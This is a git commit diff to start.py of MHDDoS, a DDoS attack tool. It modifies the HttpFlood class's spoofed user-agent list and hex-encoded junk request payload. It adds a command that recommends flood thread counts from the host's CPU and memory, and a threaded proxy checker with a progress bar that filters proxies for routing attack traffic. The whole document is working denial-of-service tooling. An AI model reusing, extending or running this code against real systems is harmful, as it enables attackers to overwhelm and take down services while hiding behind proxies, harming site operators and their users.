mirror of https://github.com/MatrixTM/MHDDoS.git
Update start.py
Proxy Evaluation Progress Reporting, System Evaluation Tool, Additional Adjustments and Fixes
This commit is contained in:
parent
74a6d0ca4a
commit
7865717292
81
start.py
81
start.py
|
|
@ -19,7 +19,7 @@ from struct import pack as data_pack
|
||||||
from subprocess import run, PIPE
|
from subprocess import run, PIPE
|
||||||
from sys import argv
|
from sys import argv
|
||||||
from sys import exit as _exit
|
from sys import exit as _exit
|
||||||
from threading import Event, Thread
|
from threading import Event, Thread, Lock
|
||||||
from time import sleep, time
|
from time import sleep, time
|
||||||
from typing import Any, List, Set, Tuple
|
from typing import Any, List, Set, Tuple
|
||||||
from urllib import parse
|
from urllib import parse
|
||||||
|
|
@ -32,7 +32,7 @@ from cloudscraper import create_scraper
|
||||||
from dns import resolver
|
from dns import resolver
|
||||||
from icmplib import ping
|
from icmplib import ping
|
||||||
from impacket.ImpactPacket import IP, TCP, UDP, Data, ICMP
|
from impacket.ImpactPacket import IP, TCP, UDP, Data, ICMP
|
||||||
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
|
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory, cpu_count
|
||||||
from requests import Response, Session, exceptions, get, cookies
|
from requests import Response, Session, exceptions, get, cookies
|
||||||
from yarl import URL
|
from yarl import URL
|
||||||
from base64 import b64encode
|
from base64 import b64encode
|
||||||
|
|
@ -726,14 +726,9 @@ class HttpFlood(Thread):
|
||||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 ',
|
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 ',
|
||||||
'Safari/537.36',
|
'Safari/537.36',
|
||||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0',
|
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0',
|
||||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',
|
|
||||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19577',
|
|
||||||
'Mozilla/5.0 (X11) AppleWebKit/62.41 (KHTML, like Gecko) Edge/17.10859 Safari/452.6',
|
|
||||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931',
|
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931',
|
||||||
'Chrome (AppleWebKit/537.1; Chrome50.0; Windows NT 6.3) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393',
|
'Chrome (AppleWebKit/537.1; Chrome50.0; Windows NT 6.3) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393',
|
||||||
'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.9200',
|
'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.9200',
|
||||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586',
|
|
||||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246',
|
|
||||||
'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
|
'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
|
||||||
'Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
|
'Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
|
||||||
'Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9',
|
'Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9',
|
||||||
|
|
@ -749,11 +744,6 @@ class HttpFlood(Thread):
|
||||||
'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile',
|
'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile',
|
||||||
'Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
|
'Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
|
||||||
'Mozilla/5.0 (Linux; U; Android 2.3.3; de-ch; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
|
'Mozilla/5.0 (Linux; U; Android 2.3.3; de-ch; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
|
||||||
'Mozilla/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
|
|
||||||
'Mozilla/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
|
|
||||||
'Mozilla/5.0 (Linux; U; Android 2.2.1; fr-fr; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
|
|
||||||
'Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
|
|
||||||
'Mozilla/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'
|
|
||||||
]
|
]
|
||||||
self._useragents = list(useragents)
|
self._useragents = list(useragents)
|
||||||
self._req_type = self.getMethodType(method)
|
self._req_type = self.getMethodType(method)
|
||||||
|
|
@ -1155,11 +1145,7 @@ class HttpFlood(Thread):
|
||||||
r'\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84' \
|
r'\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84' \
|
||||||
r'\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F' \
|
r'\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F' \
|
||||||
r'\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98' \
|
r'\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98' \
|
||||||
r'\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98' \
|
r'\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA '
|
||||||
r'\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B' \
|
|
||||||
r'\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99' \
|
|
||||||
r'\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C' \
|
|
||||||
r'\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA '
|
|
||||||
p1, p2 = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
|
p1, p2 = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
|
||||||
self._target.authority,
|
self._target.authority,
|
||||||
hexh) +
|
hexh) +
|
||||||
|
|
@ -1274,7 +1260,7 @@ class ProxyManager:
|
||||||
|
|
||||||
|
|
||||||
class ToolsConsole:
|
class ToolsConsole:
|
||||||
METHODS = {"INFO", "TSSRV", "CFIP", "DNS", "PING", "CHECK", "DSTAT"}
|
METHODS = {"INFO", "TSSRV", "CFIP", "DNS", "PING", "CHECK", "DSTAT", "RECOMMEND"}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def checkRawSocket():
|
def checkRawSocket():
|
||||||
|
|
@ -1287,7 +1273,7 @@ class ToolsConsole:
|
||||||
def runConsole():
|
def runConsole():
|
||||||
cons = f"{gethostname()}@MHTools:~#"
|
cons = f"{gethostname()}@MHTools:~#"
|
||||||
|
|
||||||
while 1:
|
while True:
|
||||||
cmd = input(cons + " ").strip()
|
cmd = input(cons + " ").strip()
|
||||||
if not cmd: continue
|
if not cmd: continue
|
||||||
if " " in cmd:
|
if " " in cmd:
|
||||||
|
|
@ -1432,6 +1418,9 @@ class ToolsConsole:
|
||||||
(r.address, r.avg_rtt, r.packets_received,
|
(r.address, r.avg_rtt, r.packets_received,
|
||||||
r.packets_sent,
|
r.packets_sent,
|
||||||
"ONLINE" if r.is_alive else "OFFLINE"))
|
"ONLINE" if r.is_alive else "OFFLINE"))
|
||||||
|
if cmd == "RECOMMEND":
|
||||||
|
ToolsConsole.recommend()
|
||||||
|
continue
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def stop():
|
def stop():
|
||||||
|
|
@ -1478,7 +1467,26 @@ class ToolsConsole:
|
||||||
len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
|
len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
|
||||||
argv[0], argv[0], argv[0], argv[0]))
|
argv[0], argv[0], argv[0], argv[0]))
|
||||||
|
|
||||||
# noinspection PyBroadException
|
@staticmethod
|
||||||
|
def recommend():
|
||||||
|
cpu_cnt = cpu_count(logical=False) or cpu_count()
|
||||||
|
total_memory = virtual_memory().total
|
||||||
|
total_memory_gb = total_memory / (1024 ** 3)
|
||||||
|
|
||||||
|
# Simple recommendation logic
|
||||||
|
# For each CPU core, we recommend 100 threads
|
||||||
|
recommended_threads = cpu_cnt * 100
|
||||||
|
|
||||||
|
# If memory is less than 4 GB, reduce the threads proportionally
|
||||||
|
if total_memory_gb < 4:
|
||||||
|
recommended_threads = int(recommended_threads * (total_memory_gb / 4))
|
||||||
|
|
||||||
|
logger.info(f"System Information:")
|
||||||
|
logger.info(f"CPU Cores: {cpu_cnt}")
|
||||||
|
logger.info(f"Total Memory: {total_memory_gb:.2f} GB")
|
||||||
|
logger.info(f"Recommended Number of Threads: {recommended_threads}")
|
||||||
|
|
||||||
|
# noinspection PyUnreachableCode
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def ts_srv(domain):
|
def ts_srv(domain):
|
||||||
records = ['_ts3._udp.', '_tsdns._tcp.']
|
records = ['_ts3._udp.', '_tsdns._tcp.']
|
||||||
|
|
@ -1505,6 +1513,37 @@ class ToolsConsole:
|
||||||
return {"success": False}
|
return {"success": False}
|
||||||
|
|
||||||
|
|
||||||
|
def check_proxy(proxy, timeout, url):
|
||||||
|
try:
|
||||||
|
session = Session()
|
||||||
|
session.proxies = proxy.asRequest()
|
||||||
|
session.get(url, timeout=timeout)
|
||||||
|
return True
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
from tqdm import tqdm
|
||||||
|
|
||||||
|
def check_proxies_with_progress(proxies, timeout, threads, url):
|
||||||
|
total_proxies = len(proxies)
|
||||||
|
working_proxies = set()
|
||||||
|
|
||||||
|
def check_proxy_wrapper(proxy):
|
||||||
|
return check_proxy(proxy, timeout, url)
|
||||||
|
|
||||||
|
with ThreadPoolExecutor(max_workers=threads) as executor:
|
||||||
|
futures = {executor.submit(check_proxy_wrapper, proxy): proxy for proxy in proxies}
|
||||||
|
for future in tqdm(as_completed(futures), total=total_proxies, desc='Checking proxies'):
|
||||||
|
proxy = futures[future]
|
||||||
|
try:
|
||||||
|
if future.result():
|
||||||
|
working_proxies.add(proxy)
|
||||||
|
except Exception:
|
||||||
|
pass # Handle exceptions if necessary
|
||||||
|
|
||||||
|
return working_proxies
|
||||||
|
|
||||||
|
|
||||||
def handleProxyList(con, proxy_li, proxy_ty, url=None):
|
def handleProxyList(con, proxy_li, proxy_ty, url=None):
|
||||||
if proxy_ty not in {4, 5, 1, 0, 6}:
|
if proxy_ty not in {4, 5, 1, 0, 6}:
|
||||||
exit("Socks Type Not Found [4, 5, 1, 0, 6]")
|
exit("Socks Type Not Found [4, 5, 1, 0, 6]")
|
||||||
|
|
@ -1519,7 +1558,7 @@ def handleProxyList(con, proxy_li, proxy_ty, url=None):
|
||||||
logger.info(
|
logger.info(
|
||||||
f"{bcolors.OKBLUE}{len(Proxies):,}{bcolors.WARNING} Proxies are getting checked, this may take awhile{bcolors.RESET}!"
|
f"{bcolors.OKBLUE}{len(Proxies):,}{bcolors.WARNING} Proxies are getting checked, this may take awhile{bcolors.RESET}!"
|
||||||
)
|
)
|
||||||
Proxies = ProxyChecker.checkAll(
|
Proxies = check_proxies_with_progress(
|
||||||
Proxies, timeout=5, threads=threads,
|
Proxies, timeout=5, threads=threads,
|
||||||
url=url.human_repr() if url else "http://httpbin.org/get",
|
url=url.human_repr() if url else "http://httpbin.org/get",
|
||||||
)
|
)
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue